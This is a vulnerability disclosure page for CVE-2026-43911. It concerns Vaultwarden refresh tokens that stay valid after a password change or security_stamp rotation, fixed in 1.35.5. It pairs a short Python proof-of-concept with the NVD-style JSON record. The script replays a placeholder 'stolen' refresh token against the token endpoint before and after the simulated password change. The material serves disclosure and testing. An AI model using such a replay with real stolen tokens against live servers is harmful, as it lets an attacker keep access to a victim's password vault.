CVE-2026-43911

# Proof of Concept (Conceptual Logic) # This script demonstrates that a refresh token remains valid after a security_stamp rotation. import requests TARGET_URL = "https://example-vaultwarden.com" STOLEN_REFRESH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Step 1: Attacker uses stolen token to get a new access token BEFORE victim changes password print("[+] Attempting to use refresh token before security event...") response = requests.post(f"{TARGET_URL}/identity/connect/token", data={ "grant_type": "refresh_token", "client_id": "web", "refresh_token": STOLEN_REFRESH_TOKEN }) if response.status_code == 200: print("[!] Success: Token is valid. Access Token:", response.json().get('access_token')) else: print("[-] Failed: Token is invalid.") exit() # Step 2: Victim changes password (Simulating security_stamp rotation) # In a real scenario, this requests updates the user's security_stamp in the DB print("\n[+] Victim changes password to secure account...") # requests.post(f"{TARGET_URL}/accounts/password", ...) # Step 3: Attacker attempts to use the SAME stolen refresh token AFTER security_stamp rotation print("\n[+] Attempting to use the SAME refresh token after password change...") response_after = requests.post(f"{TARGET_URL}/identity/connect/token", data={ "grant_type": "refresh_token", "client_id": "web", "refresh_token": STOLEN_REFRESH_TOKEN }) if response_after.status_code == 200: print("[!!!] VULNERABILITY CONFIRMED: Old refresh token is still valid after security_stamp rotation!") print("[!!!] Attacker gains new access token:", response_after.json().get('access_token')) else: print("[+] Secure: Server rejected the old refresh token.")

{"cve": {"id": "CVE-2026-43911", "sourceIdentifier": "[email protected]", "published": "2026-05-11T23:20:21.837", "lastModified": "2026-05-11T23:20:21.837", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vaultwarden is a Bitwarden-compatible server written in Rust. Prior to 1.35.5, refresh tokens are not invalidated when the user's security_stamp is rotated by some security-sensitive operations (password change, KDF change, key rotation, email change, org admin password reset, emergency access takeover). This allows an attacker holding a previously obtained refresh token to maintain session access even after the user has taken action to secure their account. This vulnerability is fixed in 1.35.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-6j4w-g4jh-xjfx", "source": "[email protected]"}]}}